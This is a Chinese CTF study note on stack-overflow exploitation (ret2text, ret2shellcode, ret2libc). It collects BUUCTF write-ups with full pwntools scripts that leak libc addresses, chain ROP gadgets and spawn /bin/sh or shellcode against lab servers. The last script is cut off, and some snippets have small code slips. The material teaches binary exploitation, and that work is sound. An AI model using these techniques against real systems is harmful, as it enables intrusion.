7. 栈溢出

image

模板

开头-结尾

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote("node5.buuoj.cn", 26146)
elf = ELF("./1")
----------------------------------------------
r.interactive()

发送

r.sendlineafter("检测字符串",'发送的内容')

libc 拿 sh

libc-database 可以搜索 libc,addr 输入最后三位

libc = ELF('./libc/libc-2.23.so')
libc_base = printf_addr - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
libc = LibcSearcher("printf",printf_addr)
offset=printf_addr-libc.dump('printf') #求偏移

#拿到sh地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

ret2text

程序中有满足要求的代码段,只需要将执行流劫持到这一段代码即可。

void gen shel1())
{
system("/bin/sh");
}

例子

1.rip1(64 位下栈平衡--服务器为 ubuntu18)

本文由 简悦 SimpRead 转码, 原文地址 www.cnblogs.com

有时候在做 64 位题目的时候会 exp 完全没问题,但就是获取不了 shell。然后通过 gdb 调试发现是在最后的 system 函数执行的时候卡住了,然后就满脸疑惑,这也能卡???

为什么执行 system 函数要栈对齐


其实啊,64 位 ubuntu18 以上系统调用 system 函数时是需要栈对齐的。再具体一点就是 64 位下 system 函数有个 movaps 指令,这个指令要求内存地址必须 16 字节对齐,如果你到 system 函数执行的时候,si 单步进去就会发现,如果没对齐的话,最后就会卡在这里(如下图)。

对齐?怎么才算对齐?


因为 64 位程序的地址是 8 字节的,而十六进制又是满 16 就会进位,因此我们看到的栈地址末尾要么是 0 要么是 8。如下图

只有当地址的末尾是 0 的时候,才算是与 16 字节对齐了,如果末尾是 8 的话,那就是没有对齐。而我们想要在 ubuntu18 以上的 64 位程序中执行 system 函数,必须要在执行 system 地址末尾是 0。

下面两个图,分别是没对齐和对齐的情况。

如果执行 system 的时候没有对齐怎么办?


如果执行了一个对栈地址的操作指令(比如 pop,ret,push 等等,但如果是 mov 这样的则不算对栈的操作指令),那么栈地址就会 + 8 或是 - 8为使 rsp 对齐 16 字节,核心思想就是增加或减少栈内容,使 rsp 地址能相应的增加或减少 8 字节,这样就能够对齐 16 字节了。因为栈中地址都是以 0 或 8 结尾,0 已经对齐 16 字节,因此只需要进行奇数次 pop 或 push 操作,就能把地址是 8 结尾的 rsp 变为 0 结尾,使其 16 字节对齐。

这时候有两种解决方法。

1、去将 system 函数地址 + 1,此处的 + 1,即是把地址 + 1,也可以理解为

+1 是为了跳过一条栈操作指令(我们的目的就是跳过一条栈操作指令,使 rsp 十六字节对齐跳过一条指令,自然就是把 8 变成 0 了)。但又一个问题就是,本来 + 1 是为了跳过一条栈操作指令,但是你也不知道下一条指令是不是栈操作指令,如果不是栈操作指令的话(你加一之后有可能正好是 mov 这种指令,也有可能人家指令是好几个字节,你加一之后也没有到下一个指令呢),+1 也是徒劳的,要么就继续 + 1,一直加到遇见一条栈操作指令为止(看别的师傅说最大加 16 次就能成功,不过我不知道为啥)

可以看见本来我们应该是用 401186 这个地址的,但是我们现在要跳过一条指令,那自然就是用 401187,这样就跳过了 push rbp 这条指令。

2、直接在调用 system 函数地址之前去调用一个 ret 指令。因为本来现在是没有对齐的,那我现在直接执行一条对栈操作指令(ret 指令等同于 pop rip,该指令使得 rsp+8,从而完成 rsp16 字节对齐),这样 system 地址所在的栈地址就是 0 结尾,从而完成了栈对齐。

因此 payload 有两种改法(下面我是以 BUUCTF 上的 rip 题目的 exp 为例)。

from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401186+1)+p64(0)#加1去跳过一个栈操作指令,使其对齐16字节
#p.recvuntil("please input")#这里用recvuntil会报连接超时,因为nc上去发现服务器那边的程序上没有打印这句话
p.sendline(payload)
p.interactive()


from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401016)+p64(0x401186)+p64(0)#0x401016是一个ret指令, p64(0)是system函数的返回地址
p.sendline(payload)
p.interactive()


2.jarvisoj_level2(call system 与 plt system)

32 位

本文由 简悦 SimpRead 转码, 原文地址 blog.csdn.net

1、检查文件类型

a2a422d27777482dbc50e0e71da9317c

查看之后发现是 32 位的 ELF 文件,RELRO(got 表不可劫持) 和 NX(不可执行) 保护不影响我们做题

2、IDA 反编译,进行分析

9e908832fc3843ce93ba85db07363528

main 函数中提到了一个 vulnerable_function();

双击点开这个函数

82a1c811db414535b3bcc5bfa57ee7a7

从反汇编后的代码可以看出 read() 这个函数对 buf 进行写入时存在缓冲区溢出,另外函数名称中有 plt 表,字符串中有"/bin/sh":

imageimage

因此进行拼接

3、实现方法 1 plt 表获取 system

from pwn import *
io = remote("node5.buuoj.cn",29544)
binsh = 0x0804A024
sys_addr = 0x08048320
payload = b'a' * (0x88 + 0x4) + p32(sys_addr) + p32(000000) + p32(binsh)
io.recvuntil(b':')
io.sendline(payload)
io.interactive()

"node5.buuoj,cn",25747 是靶机信息

buf 到 ebp 的距离是 0x88,ebp 到 Return 的距离是 0xF

system 的地址可以在 plt 中找到,双击 system.plt

a3f0468da94e4245850f3786705f3c60

af3c490eae674e6980484049a33cb717

然后在输入 shift+F12,可以查找

0745ac9eaee943e8b57dbd54238de569

bin/sh 的地址

这里需要注意的是,由于我们是直接调用 system() 而不是使用 call 指令,因此计算机会将调用函数前栈顶指针指向的地址视为函数的返回地址,因此我们需要在这个地方随便填入一些值。

3ed1452d88c64e72aa0fa6d2a8918040

3.实现方法 2

image

from pwn import*
io=remote("node4.buuoj.cn",28080)

sys_addr=0x0804849E 或者 0x0804845C  ---system地址
bin_addr=0x0804A024  ---"/bin/sh"

payload=b'a'*(0x88+0x4)+p32(sys_addr)+p32(bin_addr)

io.sendline(payload)
io.interactive()

64 位

注意与 32 位的区别:((20240723112410-thqf57f 'jarvisoj_level21'))

image

image

imageimage

.data:0000000000600A90 2F 62 69 6E 2F 73 68 00       hint db '/bin/sh',0
.plt:00000000004004C0                               _system proc near

可以使用栈溢出,思路是调用 system 函数,传入'/bin/sh'

32 位与 64 位主要的区别在于两点

一 内存地址范围不同

            由32位变成了64位。但是可以使用的内存地址不能大于0x00007FFFFFFFFFFF,否则会抛出异常

    二 函数传参方式不同

            32位中参数**都是保存在栈上**,但在64位中的前六个参数依次保存在**RDI,RSI,RDX,RCX,R8和 R9**中,如果还有更多的参数的话才会保存在栈上。

使用 pop rdi:

ROPgadget --binary '1' --only 'pop|ret'

image

exp:

from pwn import*
from LibcSearcher import *

io = remote('node5.buuoj.cn',29922)


payload=b'a'*(0x88)+p64(0x004006b3)+p64(0x00600A90)+p64(0x004004C0)#缓冲数据+pop rdi+参数地址+函数地址system+返回地址
io.recvuntil(b':')
io.sendline(payload)
io.interactive()

注意:返回地址可以放在 pop rdi 之前

3.not_the_same_3dsctf_2016

本文由 简悦 SimpRead 转码, 原文地址 blog.csdn.net

首先使用 checksec 检查一下文件,没有 canary,可以使用栈溢出;有 NX 保护,栈不可执行。
f47e3f09b43a8389f635c13d83598900
使用 IDA 查看反编译代码,从主函数中可以看到调用了 gets 函数,存在栈溢出的风险。
使用组合键 shift + F12​打开字符串窗口,发现第一个字符串就是 flag.txt​。
4786db504dd8af2f4dc4f54f2b9979e2
双击 flag.txt​跳转到该字符串在文件中的位置,使用组合键 ctrl + x​查看用到该字符串的函数。

a5d3729d8c8adbaadc6e666cb94bdcfe
进入 get_secret​函数并进行反编译,可以看到该函数源码如下。
461bc9d2e6546a19f2df279e982c4451

get_secret 函数中调用了 C 语言库函数 fopen() 和 fgets()。
这两个函数的方法如下:

  1. fgets() 函数:
    原型:char *fgets(char *str, int n, FILE *stream)
    作用:从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
  2. fopen() 函数:
    原型:FILE *fopen(const char *filename, const char *mode)
    作用:使用给定的模式 mode 打开 filename 所指向的文件。

明显的,我们可以看到该函数从 flag.txt​函数中读取了一个长为 45 的字符串存到 fl4g​的位置,双击 fl4g​我们跳转到了它在 bss 段中的位置。
5da37f8cf66c5dd8d14e5bf830c4c38a
整理思路:

  1. 首先该题可以使用栈溢出
  2. 其次该题的 flag 已经在 bss 段中,已经在内存中,只需要将其打印出来即可

我们需要找到一种方法将 flag 从内存中打印出来,要找到可以用来打印的 puts 函数、write 函数,重新查看程序的反编译,程序中找到了 write 函数(没有 puts)
查看 write 函数的用法,我们发现 write 由两种用法,仔细查看反编译的 write 函数发现它有三个参数,确定了是哪一种 write 函数。
此处给上 write 和 read 函数用法的讲解连接的跳转:write 函数的详解与 read 函数的详解
两种不同 write 函数的跳转(未核实,不一定正确):write 函数的详解与 read 函数的详解
接下来构造 payload 如下:

from pwn import *

elf = ELF("./not_the_same_3dsctf_2016")
io = remote('xxx',xxx)

getsecret = elf.sym['get_secret']
print(hex(getsecret))
flagaddr = 0x080ECA2D
write = elf.sym['write']

payload = b'a'*(45)         # 覆盖了栈,没有覆盖ebp,原因是不存在ebp,字符串空间的底部就是函数的返回地址。
payload += p32(getsecret)   # 覆盖返回地址,返回到get_secret函数
payload += p32(write)       # 从get_secret函数返回到write函数
payload += p32(flagaddr)    # 这个是write的返回的值,没什么用,随便填
# 32位汇编的参数传递方式,下面有跳转连接参考。
payload += p32(1)           # write函数的第一个参数,是 文件描述符;
payload += p32(flagaddr)    # write函数的第二个参数,是 存放字符串的内存地址;
payload += p32(42)          # write函数的第三个参数,是 打印字符串的长度
io.send(payload)

io.interactive()

技巧总结

问题 1:
为什么不需要覆盖 ebp 了呢?
答:因为不存在 ebp 了,我们观察 main 函数的最后,没有 pop ebp​语句,取而代之的是一个 retn​指令,该指令作用就是 pop rip​,即跳转到返回地址,没有了 ebp 自然不用覆盖 ebp 了。
402505224c896f7a5974cd20a7bd5b1f
反汇编的 call 和 retn

问题 2:为什么参数的顺序是那样的?
这涉及到了参数传递的方式,本题是 32 位的程序,使用栈来传递参数,压栈顺序是从右到左,64 位程序有 64 位程序的压栈方式,更为复杂,同时函数声明中也规定了压栈方式,write 函数中这个字段就是压栈方式,具体内容可以查阅资料。
5c91b62b36f4747575cd1dbb5ca106f2

ret2shellcode

ret2shellcode 是指当数据段中有可写可执行段时,向该段中写入目标函数代码(通常为 system('/bin/sh')​)。然后通过栈溢出将返回地址改为该代码的头地址,使之执行。

ret2shellcode 关键在于我们找到一个可读可写可执行的缓冲区,接下来把我们的 shellcode 放到这个缓冲区,然后跳转到我们的 shellcode 处执行 。

shellcode 就是一段可以独立运行开启 shell 的一段汇编代码

例题

1.get_started_3dsctf_2016

ida 中我们可以发现 mprotext 函数和 read 函数
mprotext 函数用法如下

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限

简单来说,就是以 addr 为起始地址将长度为 len 的内存权限修改为’prot‘。当 prot 值为 7 时,代表可读可写可执行
这时候有了思路,我们可以用 mprotext() 使一段内存可读可写可执行,然后用 read() 将构造的 shellcode 放入这段内存中。
由于 mprotext 有三个参数,我们 pop 要用到三个寄存器,ROPgadget 一下

这里我用的 0x080509a5 作为 mprotext 的返回地址
ida 中 ctrl+s 一下,找个有读写权限的传入 mprotext()

我用的是 0x80EB000
有了思路就可以写 exp 了

from pwn import*
p=remote('node4.buuoj.cn',26832)

mprotext_addr=0x806ec80   #函数地址
pop3_addr=0x80509a5       #mprotext 的返回地址
buf=0x80EB000             #mprotext参数1:addr 
read_addr=0x806E140       #read函数地址
payload=b'a'*0x38+p32(mprotext_addr)+p32(pop3_addr)+p32(buf)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(buf)+p32(0)+p32(buf)+p32(0x200)
p.sendline(payload)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(shellcode)
p.interactive()
---------------------------payload详解------------------------------------------
b'a'*0x38				#  填充到返回值
+p32(mprotext_addr)		#  mprotext函数地址
+p32(pop3_addr)			#  mprotext的返回地址
+p32(buf)				#  待修改权限的地址
+p32(0x1000)			#  修改长度
+p32(0x7)				#  待写入权限
read函数用于从指定文件描述符 fd 对应的文件中读取数据,并将读取到的数据存储到用户空间的缓冲区 buf 中,其中参数 count 表示要读取的字节数。
+p32(read_addr)			#  read函数地址
+p32(buf)				#  read返回地址
+p32(0)					#  文件描述符--0代表用户输入
+p32(buf)				#  待写入区域
+p32(0x200)				#  写入长度

2.ciscn_2019_n_5

image

没有开启保护,有可写 segments,考虑 shellcode

image

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25467)
 
context.arch="amd64"
shellcode=asm(shellcraft.sh())   # shell代码写入name中
 
name=0x601080
p.recvuntil("name\n")
p.sendline(shellcode)
 
p.recvuntil("?\n")
payload=b"A"*0x28+p64(name) #执行name中的shell
 
p.sendline(payload)
p.interactive()

3.ez_pz_hackover_2016

image

image

因为要求字符串与'crashme'相等,因此构造时需要前面几位为 b'crashme\x00'​,\x00​可以隔断 strcmp

上面会打印 buff 的栈地址。

image

image

image

image

from pwn import*
io = remote("node5.buuoj.cn", 26146)
context(log_level="debug",arch='i386')
shellcode=asm(shellcraft.sh())
io.recvuntil(b'crash: ')
sta=int(io.recv(10),16)
print("sta==>"+hex(sta))
payload = b'crashme\x00'+ b'a'*(0x16-8) + b"bbbb" + p32(sta-0x1c) + shellcode
io.sendlineafter('>',payload)
pause()
io.interactive()

ret2libc

  • 有时候,我们需要调用一些系统函数,就比如说 system 或者 execv 等。

  • 程序中可能不会提供一些现成的函数。

  • 如果我们拿到了 bc 中函数的地址,我们可以直接调用 bc 中的函数。

  • 只需要传递好参数,然后 call 即可。

  • 如果直接 mov,然后 call,那么就和 ret2shellcode 无异。

  • 现在问题是,我们只有一个 ibc 地址和/bin/sh 字符串地址,以及一个栈溢出漏
    洞,怎么传递参数?

    • 思考如下形式的栈溢出
      pop rdi ret+/bin/sh地址+system。

例题

1.铁人三项(第五赛区)_2018_rop1(32)

背景:无 system,无'bin/sh',无提供 libc,32 位

payload 构成:

#获取write在内存的地址
payload=b'a'*(0x88+4)		#填充
+p32(write_plt)				#write的plt
+p32(main)					#返回值
+p32(0)						#write的参数1
+p32(write_got)				#write的参数2
+p32(4)						#write的参数3

#执行shell
payload=b'a'*(0x88+4)		#填充
+p32(system_addr)			#system地址
+p32(0)						#返回地址
+p32(bin_sh)				#bin/sh地址
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'


r = remote("node5.buuoj.cn", 27900)
elf = ELF("./1")

#获取write的内存地址
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write') #求偏移

system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')


payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

r.sendline(payload)
r.interactive()

2. ciscn_2019_c_1(64)

本文由 简悦 SimpRead 转码, 原文地址 blog.csdn.net

image


1.main 函数

image

没什么能构造溢出的函数。再看看 encrypt 和 begin 函数

2.begin 函数

image

也没有构造溢出的函数,但是有很多 puts,很好后面 ret2libc 可以用


3.encrypt 函数

image

有 gets 了。栈大小为 50h

while 循环为加密字符串的过程,为了避免 payload 被加密而产生变化,需要在开头加上'\0'


4. 查看字符串和函数列表

按”shift+F12“查看字符串

image

没有‘system’,‘bin/sh’等有用的字符串,函数列表里也没有 system 等后门函数


  1. 分析思路

该程序中并没有 system,bin/sh 等有用的字符串,无法使用 ret2text

没有调用 system 函数,无法使用 ret2syscall

只能用 ret2libc

这里补充一下动态链接的过程:

调用动态链接函数,先去 plt 表和 got 表寻找函数的真实地址。plt 表指向 got 表中的地址,got 表指向 glibc 中的地址。

第一次调用: plt->got->plt-> 公共 plt-> 动态连接器 -> 锁定函数地址

第二次: plt->got-> 直接锁定函数地址,此时 got 表已记录函数地址

got 表:包含函数的真实地址,包含 libc 函数的基址,用于泄露地址

plt 表:不用知道 libc 函数真实地址,使用 plt 地址就可以调用函数

libc 是 linux 下的 c 函数库,包含各种常用的函数,在程序执行时才被加载到内存中
libc 是一定可以执行的,跳转到 libc 中函数绕过 NX 保护

通过已经调用过的函数泄露它在程序中的地址,然后利用地址末尾的 3 个字节,在 https://libc.blukat.me 找到该程序所用的 libc 版本(或者使用 LibcSearcher)

程序函数地址 = 加载程序的基址 + libc 中函数偏移量

想办法通过 encrypt 函数的 get 函数栈溢出获得其中一个函数的地址(本题选择 puts) ,通过 LibcSearcher 得到该函数在对应 libc 中的偏移量

即可得到加载程序的基址


4. 构造 exp

64 位先使用寄存器 RDI、RSI、RDX、RCX、R8、R9 进行传参,如果多于 6 个参数,则再使用栈进行传参

直接上脚本

from pwn import*
from LibcSearcher import *
r=remote('')  # 填自己的端口号
elf=ELF("filename")  # 填自己的文件名 用于地址计算
 
main_addr=0x400B28       #指定main函数地址
rdi=0x400c83             #提前获取的rop地址
puts_plt=elf.plt['puts'] #获取在plt表地址
puts_got=elf.got['puts'] #获取在got表地址
 
r.sendlineafter(b'Input your choice!\n', b'1')

offset = 0x50+8-1
#while循环为加密字符串的过程,为了避免payload被加密而产生变化,需要在开头加上'\0'
payload = b'\0' + b"a" * offset + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
 
puts_addr=u64(r.recv(6).ljust(0x8,b"\x00")) # 接收puts的函数地址
libc=LibcSearcher("puts",puts_addr)         #查询liibc版本
libcbase=addr - libc.dump("puts")
print(libcbase)                             #打印基地址

解释一下上面的脚本

main_addr:通过 IDA64 即可查看 main 函数的起始地址为 0x400B28

rdi:可通过使用 ROPgadget 工具进行查找,可得地址为 0x400c83 --在程序中找到可利用的代码段对应的地址

ROPgadget  --binary 'filename' |grep "pop rdi"  # filename填自己的文件名

之所以 pop rdi​ 是因为函数调用参数如下,执行后 puts_got 会成为 puts_plt 的第一个参数

  • RDI 中存放第 1 个参数
  • RSI 中存放第 2 个参数
  • RDX 中存放第 3 个参数
  • RCX 中存放第 4 个参数
  • R8 中存放第 5 个参数
  • R9 中存放第 6 个参数

puts_plt,puts_got:通过 ELF 程序获取

image

  • 当程序执行到覆盖的返回地址时,它会跳转到 puts​ 的 PLT 表地址,调用 puts​ 函数,并将 puts_got​ 作为参数传递。puts​ 函数会输出 puts​ 的实际地址,这个地址将被用来计算 libc 的基地址。
  • 然后,程序会返回到 main​ 函数,继续执行后续的代码。

综合前文 IDA 分析的结果,第一个 payload 的结构为

payload = b'\0' + b"a" * offset + p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

使用 puts_addr=u64(r.recv(6).ljust(0x8,b"\x00")) ​ 接收 puts 函数的地址(地址末尾的 3 个字节)

  1. r.recv(6)​:从远程连接 r​ 中接收 6 个字节的数据。这通常是一个函数的地址(例如 puts​ 函数的地址)。
  2. ljust(0x8, b"\x00")​:将接收到的 6 个字节的数据左对齐到 8 个字节,不足的部分用字节 b"\x00"​ 填充。这是因为在 64 位系统中,地址通常是 64 位(8 字节),而接收到的数据只有 6 字节,因此需要填充 2 个字节。
  3. u64(...)​:将填充后的字节数据转换为一个 64 位的无符号整数。这是为了将字节数据解释为一个地址,以便后续使用。

综上所述,这行代码的目的是从远程主机接收一个函数的地址,并将其格式化为 64 位整数,以便在后续的操作中使用。

得到 puts 函数的地址后,使用 LibcSearcher 查询对应的 libc 版本

libc=LibcSearcher("puts",puts_addr)

运行结果为

image

得到基地址

接下来继续构造 ,直接上最终脚本

#encoding = utf-8
from pwn import*
from LibcSearcher import *
r=remote('')  #填自己的端口号
elf=ELF("") #填自己的文件名
 
 
main_addr=0x400B28
rdi=0x400c83
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
 
# 第一次攻击
r.sendlineafter(b'Input your choice!\n', b'1')
 
offset = 0x50+8-1
payload = b'\0' + b"a" * offset+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
 
puts_addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump("puts")
print(libcbase)   #获取基地址
 
# 第二次攻击
r.sendlineafter(b'Input your choice!\n', b'1')
r.recvuntil(b"Input your Plaintext to be encrypted\n")
sys_addr=libcbase+libc.dump('system')  #获取system函数的地址
bin_sh=libcbase+libc.dump('str_bin_sh')#获取"/bin/sh"地址
ret=0x4006b9
p1=b'\0' + b"a" * offset + p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
r.sendline(p1)
r.interactive()

通过 程序函数地址 = 加载程序的及地址 + libc 中函数偏移量 可以计算加载程序的基址,通过基址和各个函数以及字符串的偏移量可以计算各个函数以及字符串在程序中的地址,如下:

sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

对于调用 system 函数,需要考虑堆栈平衡。使用 ret 指令来实现堆栈平衡(ret 指令执行之前会自动进行堆栈平衡操作)

p1=b'\0' + b"a" * offset
payload += p64(ret))	   #堆栈平衡
payload += p64(rdi)	       #将system函数的参数保存到rdi中
payload += p64(bin_sh)	   #pop指令的执行的操作数
payload += p64(sys_addr)  #调用system函数获得shell

运行结果为

image

3.[OGeek2019]babyrop1(32)

思路:

  1. 泄露真实地址
  2. 计算 system 与'/bin/sh'的真实地址
  3. 获取 shell

本文由 简悦 SimpRead 转码, 原文地址 blog.csdn.net

1.Checksec & IDA Pro

地址随机化与 NX

2. 分析源码

主函数:

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]
 
  sub_80486BB();
  fd = open("/dev/urandom", 0); //打开随机数文件
  if ( fd > 0 )
    read(fd, &buf, 4u); //读取一个随机生成的数,写入buf中
  v2 = sub_804871F(buf); //buf同时又是sub_804871F的参数
  sub_80487D0(v2); //buf[7]
  return 0;
}

sub_804871F:

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]
 
  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);		//sprintf 将a1转换成字符串s,a1即为主函数中的buf,通过函数传参变为a1
  v5 = read(0, buf, 0x20u);  	//读入字符串buf,v5是buf的长度
  buf[v5 - 1] = 0;  			//v5 - 1,去掉末尾最后一个字符的长度
  v1 = strlen(buf); 			//检测输入的字符串的长度,buf的新长度
  if ( strncmp(buf, s, v1) ) 	//比较字符串,如果 buf ≠ s ,则程序直接执行exit函数退出。v1为长度
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7]; //将buf[7]传出,变成v2
}

sub_80487D0:

ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF
 
  if ( a1 == 127 ) 
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);  //栈溢出漏洞,令 buf[7] , 也就是v2的ASCII码值尽可能大
}

分析完反汇编成 C 语言的程序源码后,就是常规的 ret2libc 了。

使用 puts 函数进行泄露真实地址

思路有了,接下来是构造 PoC 与 Payload

由于本题是 32 位 ELF,因此不需要 rdi 与 ret 栈对齐。

3. 构造 PoC

Payload 思路:

首先绕过 strlen

strlen 遇到 \x00 会截断

payload_bypass = ( b'\x00' ) + ( b'\xff' * 7 )
\x00 用来绕过strlen  较大数 0xff 总共长度8,正好覆盖。使得v2的ASCII码值尽可能的大,因为主函数中的buf大小为 0xE7 ,也就是至少要比 240 大。
不然栈溢出无法利用。
\为转义字符,'\xhh' 表示ASCII码值与'hh'这个十六进制数相等的符号。
'\xff'表示ASCII码值为255的符号。因此需要用到'\xff'
在上文中有一个点并未提到:buf[v5 - 1] = 0;
这里再次涉及到read函数:read是否读取字符串结尾的'\x00'。
如果不读取,则应该为 b'\xff' * 8
但是read函数是读取'\x00'的,因此不需要。
否则就是
payload_bypass = ( b'\x00' ) + ( b'\xff' * 8 )

buf 的大小

b'A' * ( 0xE7 + 4 )

使用 0xE7 + 4 个A,溢出栈
E7 为 buf 大小
4 为32位系统地址长度

ROP

leak_plt = elf.plt['puts'] #获取puts的plt表地址
leak_got = elf.got['puts'] #获取puts的got表地址
main_addr = 0x8048825
 
payload_leak = ( b'A' * ( 0xE7 + 4 ) + p32(leak_plt) + p32(main_addr) + p32(puts_got) )
 
io.sendline(payload_leak)
real_addr = u32(io.recv(4))

可使用 exp:

from pwn import *

context(arch='i386', os='linux', log_level='debug') #设置目标程序的架构为32位(i386)和操作系统为Linux,并将日志级别设置为调试,以便更详细地输出信息。
io = remote("node5.buuoj.cn",29665)
e = ELF('./1')  
io.sendline(b'\x00'.ljust(8, b'\xff'))  #或者 ( b'\x00' ) + ( b'\xff' * 7 )
#获取基地址
write_plt = e.plt['write']
write_got = e.got['write']
main_address = 0x8048825
payload = b'a'*(0xe7 + 0x04) + flat(write_plt, main_address, 1, write_got, 4) 
或
payload = b'a'*(0xe7 + 0x04) + p32(write_plt) + p32(main_address) +p32(1)+ p32(write_got)+p32(4)
io.sendlineafter(b'Correct\n', payload)

write_address = u32(io.recv(4)) 
log.success('write_address => 0x%x', write_address)				#显示拿到的write的地址

libc = ELF('./libc-2.23.so')
libcbase = write_address - libc.symbols['write']
info('libcbase_address => 0x%x', libcbase)						#显示拿到的偏移地址

system_address = libcbase + libc.symbols['system']
log.success('system_address => 0x%x', system_address)			#显示拿到的system函数在内存的地址

bin_sh_address = libcbase + libc.search(b'/bin/sh').__next__()
log.success('bin_sh_address => 0x%x', bin_sh_address)			#显示拿到的‘/bin/sh’的地址

#第二次启动
io.sendline(b'\x00'.ljust(8, b'\xff'))
#payload = b'a'*(0xe7 + 0x04) + flat(system_address, 0xdeadbeef, bin_sh_address)
payload = b'a'*(0xe7 + 0x04) + p32(system_address)+p32(0xdeadbeef)+p32(bin_sh_address)
io.sendlineafter(b'Correct\n', payload)
io.interactive()

代码解析:

6: io.sendline(b'\x00'.ljust(8, b'\xff'))  #或者 ( b'\x00' ) + ( b'\xff' * 7 )    内存:00000000  00 ff ff ff  ff ff ff ff  0a

\x00 用来绕过 strlen ,0xff 使得 v2 的 ASCII 码值尽可能的大,因为主函数中的 buf 大小为 0xE7 ,也就是至少要比 240 大。不然栈溢出无法利用。
\为转义字符,'\xhh' 表示 ASCII 码值与'hh'这个十六进制数相等的符号。
'\xff'表示 ASCII 码值为 255 的符号。因此需要用到'\xff'
注意: buf[v5 - 1] = 0;有可能会将 buf[7]覆盖为 0
涉及到 read 函数:read 是否读取字符串结尾的'\x00'。
如果不读取, 则应该为 b'\xff' * 8
但是 read 函数是读取'\x00'的,因此不需要。

源代码中

v1 = strlen(buf); //检测输入的字符串的长度,buf的新长度
if ( strncmp(buf, s, v1) ) //比较字符串,如果 buf ≠ s ,则程序直接执行exit函数退出。v1为长度
    exit(0);

strncmp 是比较 buf 和 s 前 v1 个字符是否相同,当 v1==0 时则可以绕过

获取基地址(开启了随机基址)

write_plt = e.plt['write']
write_got = e.got['write']
main_address = 0x8048825
payload = b'a'*0xe7 + b'pwn!'
payload += flat(write_plt, main_address, 1, write_got, 4)

payload 也可以写作:payload = b'a'*(0xe7 + 0x04) + p32(write_plt) + p32(main_address) + p32(1)+ p32(write_got)+p32(4)

1 和 4 是 write 参数,使用 puts 计算时为


payload_leak = ( b'A' * ( 0xE7 + 0x04 ) + p32(leak_plt) + p32(main_addr) + p32(leak_got) )

获取权限的 payload:

payload = b'a'*(0xe7 + 0x04) + p32(system_address)+p32(0xdeadbeef)+p32(bin_sh_address)
							   system函数地址      + 任意返回地址   + bin/sh地址

4.ciscn_2019_en_2(64)

image

因为部署在 ubuntu18 上,因此需要栈平衡

获取 rdi_addr 和 ret

image

# 构造一个payload,利用puts函数的GOT表地址来泄露其真实地址。
# 使用LibcSearcher根据泄露的puts地址计算libc的基地址,并找到system函数和"/bin/sh"字符串的地址。
# 构造第二个payload,利用计算出的地址执行system("/bin/sh"),从而获得shell。
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level="debug"
io =remote("node5.buuoj.cn",29296)
elf = ELF('./1')


puts_plt = elf.plt['puts'] #获取puts的plt表地址
puts_got = elf.got['puts'] #获取puts的got表地址
rdi_addr = 0x400c83 #用来传递参数的地址
main_addr = elf.symbols['main'] #主函数的地址,用来返回执行第二次
ret=0x4006b9 #栈对齐


# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
payload_addr = flat("a"*0x58)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #需要输入0x58个a才能溢出栈,大小为0x50+0x08。rdi中存放了puts_got的真实地址,因为是64位程序,puts_plt表调用puts函数打引puts_got值。然后返回到main地址再执行一次程序,方便后续发送用来开启shell的payload

io.recv()
io.sendline(b"1") #输入1后输入的地方才是需要溢出的地方
io.recvuntil("encrypted\n")
io.sendline(payload_addr)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")

puts_addr = u64(io.recv(6).ljust(8,b'\x00')) # 接收puts的真实地址

print("[+] Payload : \n",(payload_addr)) 
print("[+] Leacked.")
print(("[+] Real Address : "),hex(puts_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
 
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
